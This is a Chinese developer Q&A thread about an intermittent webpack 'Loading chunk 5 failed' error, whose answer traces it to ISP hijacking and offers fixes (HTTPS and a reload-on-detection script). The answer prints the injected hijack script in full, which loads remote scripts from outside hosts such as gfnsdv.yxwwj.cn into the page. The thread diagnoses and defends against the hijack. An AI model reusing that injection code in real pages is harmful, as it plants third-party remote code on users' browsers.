鍍金池/ 問答/HTML/ 在測試服上偶然出現(xiàn) Error: Loading chunk 5 failed.

在測試服上偶然出現(xiàn) Error: Loading chunk 5 failed.

項(xiàng)目是使用vue-cli + webpack打包。
在測試服上偶然性地出現(xiàn)Loading chunk 5 failed,再刷新就不提示錯(cuò)誤,一切顯示正常。我也很納悶,請各位幫著分析原因。
下面是報(bào)錯(cuò)截圖:
圖片描述

回答
編輯回答
浪蕩不羈

在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因?yàn)?電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
    function b(b) {
        var c = a.createElement("script");
        c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
    }
    var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
    /^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
        _ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
        a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);

我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個(gè),就load不到了。

解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)

 window.onload = function(){
      
      let isSetInt = false;
      let setInt = setInterval(r => {
          let index  = getstore() || 0;
          let findDns = false;
          if (isSetInt) {
              clearInterval(setInt);
              let scr = document.getElementsByTagName('script');
            for (var i = scr.length - 1; i >= 0; i--) {
                if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
                    
                    findDns = true;
                    store(++index);
                    window.location.reload();
                    break;
                }
            }
            if (!findDns) {
                store(0)
            }
          }
          try{
              if (getmd5) {
                  isSetInt = true;
              }
              
          }catch(e){
              console.log(e);
          }
      },1000);
    
  }

      function store (state) {
        try {
           return localStorage.setItem('index', state);
        } catch (e) {
          cookie.setCookie('index',state, 1);
        }
    }

    function getstore () {
        if (localStorage.getItem('index') == null) {
            return unescape(cookie.getCookie('index'));
        }else{
            return localStorage.getItem('index');
        }
    }
2017年5月5日 21:04